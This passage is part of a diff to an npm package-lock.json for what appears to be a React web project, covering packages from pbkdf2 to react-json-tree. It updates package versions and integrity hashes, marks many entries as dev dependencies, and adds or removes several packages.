"sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==" + "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==", + "optional": true }, "pbkdf2": { - "version": "3.0.17", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz", - "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz", + "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", "dev": true, "requires": { "create-hash": "^1.1.2", @@ -12814,6 +16874,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/peek-stream/-/peek-stream-1.1.3.tgz", "integrity": "sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==", + "dev": true, "requires": { "buffer-from": "^1.0.0", "duplexify": "^3.5.0", @@ -12827,9 +16888,10 @@ "dev": true }, "picomatch": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", - "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==" + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.3.tgz", + "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==", + "dev": true }, "pify": { "version": "2.3.0", @@ -12872,66 +16934,6 @@ } } }, - "pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-2.0.0.tgz", - "integrity": "sha1-yBmscoBZpGHKscOImivjxJoATX8=", - "dev": true, - "requires": { - "find-up": "^2.1.0" - }, - "dependencies": { - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } - }, - "locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "dev": true, - "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - } - }, - "p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", - "dev": true, - "requires": { - "p-try": "^1.0.0" - } - }, - "p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "dev": true, - "requires": { - "p-limit": "^1.1.0" - } - }, - "p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true - }, - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - } - } - }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", @@ -12972,9 +16974,9 @@ "dev": true }, "postcss": { - "version": "7.0.29", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.29.tgz", - "integrity": "sha512-ba0ApvR3LxGvRMMiUa9n0WR4HjzcYm7tS+ht4/2Nd0NLtHpPIH77fuB9Xh1/yJVz9O/E/95Y/dn8ygWsyffXtw==", + "version": "7.0.35", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.35.tgz", + "integrity": "sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==", "dev": true, "requires": { "chalk": "^2.4.2", @@ -13033,15 +17035,15 @@ } }, "postcss-modules-local-by-default": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.2.tgz", - "integrity": "sha512-jM/V8eqM4oJ/22j0gx4jrp63GSvDH6v86OqyTHHUvk4/k1vceipZsaymiZ5PvocqZOl5SFHiFJqjs3la0wnfIQ==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", + "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", "dev": true, "requires": { "icss-utils": "^4.1.1", - "postcss": "^7.0.16", + "postcss": "^7.0.32", "postcss-selector-parser": "^6.0.2", - "postcss-value-parser": "^4.0.0" + "postcss-value-parser": "^4.1.0" } }, "postcss-modules-scope": { @@ -13064,29 +17066,6 @@ "postcss": "^7.0.6" } }, - "postcss-reporter": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-6.0.1.tgz", - "integrity": "sha512-LpmQjfRWyabc+fRygxZjpRxfhRf9u/fdlKf4VHG4TSPbV2XNsuISzYW1KL+1aQzx53CAppa1bKG4APIB/DOXXw==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "lodash": "^4.17.11", - "log-symbols": "^2.2.0", - "postcss": "^7.0.7" - }, - "dependencies": { - "log-symbols": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", - "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", - "dev": true, - "requires": { - "chalk": "^2.0.1" - } - } - } - }, "postcss-resolve-nested-selector": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", @@ -13113,23 +17092,24 @@ } }, "postcss-scss": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.0.0.tgz", - "integrity": "sha512-um9zdGKaDZirMm+kZFKKVsnKPF7zF7qBAtIfTSnZXD1jZ0JNZIxdB6TxQOjCnlSzLRInVl2v3YdBh/M881C4ug==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.1.1.tgz", + "integrity": "sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==", "dev": true, "requires": { - "postcss": "^7.0.0" + "postcss": "^7.0.6" } }, "postcss-selector-parser": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.2.tgz", - "integrity": "sha512-36P2QR59jDTOAiIkqEprfJDsoNrvwFei3eCqKd1Y0tUsBimsq39BLp7RD+JWny3WgB1zGhJX8XVePwm9k4wdBg==", + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", "dev": true, "requires": { "cssesc": "^3.0.0", "indexes-of": "^1.0.1", - "uniq": "^1.0.1" + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" } }, "postcss-syntax": { @@ -13147,17 +17127,20 @@ "prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=" + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true }, "prepend-http": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", - "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", + "dev": true }, "pretty-bytes": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz", - "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA==" + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "dev": true }, "pretty-error": { "version": "2.1.1", @@ -13169,6 +17152,56 @@ "utila": "~0.4" } }, + "pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "dev": true, + "requires": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true + } + } + }, "private": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", @@ -13183,12 +17216,14 @@ "process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true }, "progress": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==" + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true }, "promise": { "version": "7.3.1", @@ -13202,20 +17237,37 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/promise-deferred/-/promise-deferred-2.0.3.tgz", "integrity": "sha512-n10XaoznCzLfyPFOlEE8iurezHpxrYzyjgq/1eW9Wk1gJwur/N7BdBmjJYJpqMeMcXK4wEbzo2EvZQcqjYcKUQ==", + "dev": true, "requires": { "promise": "^7.3.1" } }, + "promise-fs": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/promise-fs/-/promise-fs-2.1.1.tgz", + "integrity": "sha512-43p7e4QzAQ3w6eyN0+gbBL7jXiZFWLWYITg9wIObqkBySu/a5K1EDcQ/S6UyB/bmiZWDA4NjTbcopKLTaKcGSw==", + "dev": true, + "requires": { + "@octetstream/promisify": "2.0.2" + } + }, "promise-inflight": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", "dev": true }, + "promise-queue": { + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/promise-queue/-/promise-queue-2.2.5.tgz", + "integrity": "sha1-L29ffA9tCBCelnZZx5uIqe1ek7Q=", + "dev": true + }, "promiseback": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/promiseback/-/promiseback-2.0.3.tgz", "integrity": "sha512-VZXdCwS0ppVNTIRfNsCvVwJAaP2b+pxQF7lM8DMWfmpNWyTxB6O5YNbzs+8z0ki/KIBHKHk308NTIl4kJUem3w==", + "dev": true, "requires": { "is-callable": "^1.1.5", "promise-deferred": "^2.0.3" @@ -13250,53 +17302,11 @@ "ipaddr.js": "1.9.1" } }, - "proxy-agent": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-3.1.1.tgz", - "integrity": "sha512-WudaR0eTsDx33O3EJE16PjBRZWcX8GqCEeERw1W3hZJgH/F2a46g7jty6UGty6NeJ4CKQy8ds2CJPMiyeqaTvw==", - "requires": { - "agent-base": "^4.2.0", - "debug": "4", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^3.0.0", - "lru-cache": "^5.1.1", - "pac-proxy-agent": "^3.0.1", - "proxy-from-env": "^1.0.0", - "socks-proxy-agent": "^4.0.1" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "requires": { - "ms": "^2.1.1" - } - }, - "lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "requires": { - "yallist": "^3.0.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" - } - } - }, "proxy-from-env": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "dev": true }, "prr": { "version": "1.0.1", @@ -13307,7 +17317,8 @@ "pseudomap": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", + "dev": true }, "psl": { "version": "1.8.0", @@ -13329,9 +17340,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -13340,6 +17351,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -13349,6 +17361,7 @@ "version": "1.5.1", "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, "requires": { "duplexify": "^3.6.0", "inherits": "^2.0.3", @@ -13359,6 +17372,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -13372,9 +17386,10 @@ "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" }, "pupa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.0.1.tgz", - "integrity": "sha512-hEJH0s8PXLY/cdXh66tNEQGndDrIKNqNC5xmrysZy3i5C3oEoLna7YAOad+7u125+zH1HNXUmGEkrhb3c2VriA==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz", + "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==", + "dev": true, "requires": { "escape-goat": "^2.0.0" } @@ -13408,10 +17423,25 @@ "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==", "dev": true }, + "queue": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz", + "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==", + "dev": true, + "requires": { + "inherits": "~2.0.3" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, "quick-lru": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", - "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", "dev": true }, "rainge": { @@ -13448,6 +17478,7 @@ "version": "2.4.0", "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "dev": true, "requires": { "bytes": "3.1.0", "http-errors": "1.7.2", @@ -13458,7 +17489,8 @@ "bytes": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", - "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "dev": true } } }, @@ -13466,6 +17498,7 @@ "version": "1.2.8", "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -13476,7 +17509,8 @@ "strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=" + "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", + "dev": true } } }, @@ -13490,9 +17524,9 @@ } }, "react": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz", - "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==", + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", "requires": { "loose-envify": "^1.1.0", "object-assign": "^4.1.1", @@ -13506,39 +17540,49 @@ "dev": true }, "react-base16-styling": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz", - "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz", + "integrity": "sha512-lTa/VSFdU6BOAj+FryOe7OTZ0OBP8GXPOnCS0QnZi7G3zhssWgIgwl0eUL77onXx/WqKPFndB3ZeC77QC/l4Dw==", "requires": { "base16": "^1.0.0", - "lodash.curry": "^4.0.1", - "lodash.flow": "^3.3.0", - "pure-color": "^1.2.0" + "lodash.curry": "^4.1.1", + "lodash.flow": "^3.5.0", + "pure-color": "^1.3.0" } }, "react-bootstrap": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.3.0.tgz", - "integrity": "sha512-GYj0c6FO9mx7DaO8Xyz2zs0IcQ6CGCtM3O6/feIoCaG4N8B0+l4eqL7stlMcLpqO4d8NG2PoMO/AbUOD+MO7mg==", + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.5.2.tgz", + "integrity": "sha512-mGKPY5+lLd7Vtkx2VFivoRkPT4xAHazuFfIhJLTEgHlDfIUSePn7qrmpZe5gXH9zvHV0RsBaQ9cLfXjxnZrOpA==", "requires": { - "@babel/runtime": "^7.4.2", + "@babel/runtime": "^7.13.8", "@restart/context": "^2.1.4", - "@restart/hooks": "^0.3.21", + "@restart/hooks": "^0.3.26", "@types/classnames": "^2.2.10", "@types/invariant": "^2.2.33", "@types/prop-types": "^15.7.3", - "@types/react": "^16.9.35", - "@types/react-transition-group": "^4.4.0", + "@types/react": ">=16.9.35", + "@types/react-transition-group": "^4.4.1", "@types/warning": "^3.0.0", "classnames": "^2.2.6", "dom-helpers": "^5.1.2", "invariant": "^2.2.4", "prop-types": "^15.7.2", "prop-types-extra": "^1.1.0", - "react-overlays": "^4.1.0", + "react-overlays": "^5.0.0", "react-transition-group": "^4.4.1", - "uncontrollable": "^7.0.0", + "uncontrollable": "^7.2.1", "warning": "^4.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } } }, "react-copy-to-clipboard": { @@ -13576,9 +17620,9 @@ } }, "react-dom": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz", - "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==", + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", "requires": { "loose-envify": "^1.1.0", "object-assign": "^4.1.1", @@ -13604,9 +17648,9 @@ } }, "react-filepond": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz", - "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==" }, "react-graph-vis": { "version": "1.0.5", @@ -13627,9 +17671,9 @@ } }, "react-hot-loader": { - "version": "4.12.21", - "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.21.tgz", - "integrity": "sha512-Ynxa6ROfWUeKWsTHxsrL2KMzujxJVPjs385lmB2t5cHUxdoRPGind9F00tOkdc1l5WBleOF4XEAMILY1KPIIDA==", + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz", + "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==", "requires": { "fast-levenshtein": "^2.0.6", "global": "^4.3.0", @@ -13654,12 +17698,12 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "react-json-tree": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz", - "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==", + 